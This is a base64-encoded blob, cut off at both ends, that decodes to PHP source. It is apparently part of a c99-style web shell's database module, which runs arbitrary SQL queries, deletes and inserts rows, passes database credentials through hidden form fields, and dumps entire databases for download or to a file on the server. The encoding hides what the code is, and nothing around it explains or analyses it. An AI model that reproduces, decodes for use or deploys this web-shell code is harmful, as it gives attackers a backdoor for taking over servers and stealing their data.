yKCRzcWxfcXVlcnksMCxzdHJsZW4oJHNxbF9xdWVyeSktMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgew0KICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkNCiAgICB7DQogICAgICRrZXlzID0gIiI7DQogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAkdmFsdWVzID0gIiI7DQogICAgICRpID0gMDsNCiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQ0KICAgIHsNCiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICB9DQogICB9DQogICBpZiAoJHNxbF9hY3QgPT0gInF1ZXJ5IikNCiAgIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgfQ0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkNCiAgIHsNCiAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLiRTRVJWRVJfTkFNRS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwDQogICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikNCiAgICB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICB9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgfQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcCIpDQogICB7DQogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQ0KICAgIHsNCiAgICAgJGRpcGxheSA9IGZhbHNlOw0KICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+REI6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7DQogICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsNCiAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7DQogICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fQ0KICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuJFNFUlZFUl9OQU1FLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQ0KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOw0KICAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJGRpcGxheSA9IHRydWU7DQogICAgICRzZXQgPSBhcnJheSgpOw0KICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7DQogICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOw0KICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOw0KICAgICAkc2V0WyJwcmludCJdID0gMDsNCiAgICAgJHNldFsibmwyYnIiXSA9IDA7DQogICAgICRzZXRbIiJdID0gMDsNCiAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsNCiAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IHRydWU7DQogICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOw0KICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQ0KICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsNCiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkNCiAgICAgew0KICAgICAgQG9iX2NsZWFuKCk7DQogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7DQogICAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkc3FsX2R1bXBfZmlsZSkuIlwiOyIpOyANCiAgICAgIGVjaG8gJHJldDsNCiAgICAgIGV4aXQ7DQogICAgIH0NCiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkNCiAgICAgew0KICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7DQogICAgICB9DQogICAgIH0NCiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgfQ0KICAgfQ0KICAgaWYgKCRkaXBsYXkpDQogICB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpDQogICAgew0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30NCiAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgICAgIA0KICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30gICAgIA0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsgDQogICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgIGlmIChjb3VudCgkZSkgPT0gMikNCiAgICAgew0KICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7DQogICAgIH0NCiAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJHYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWJyb3dzZVwiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJzdHJ1Y3R1cmUiKSB7ZWNobyAiPGJyPjxicj48Yj5Db21pbmcgc29vb24hPC9iPiI7fQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgICB7DQogICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30NCiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkNCiAgICAgIHsNCg0KICAgICAgfQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkNCiAgICAgICB7DQogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7DQogICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7DQogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIH0NCiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpDQogICAgICAgew0KICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb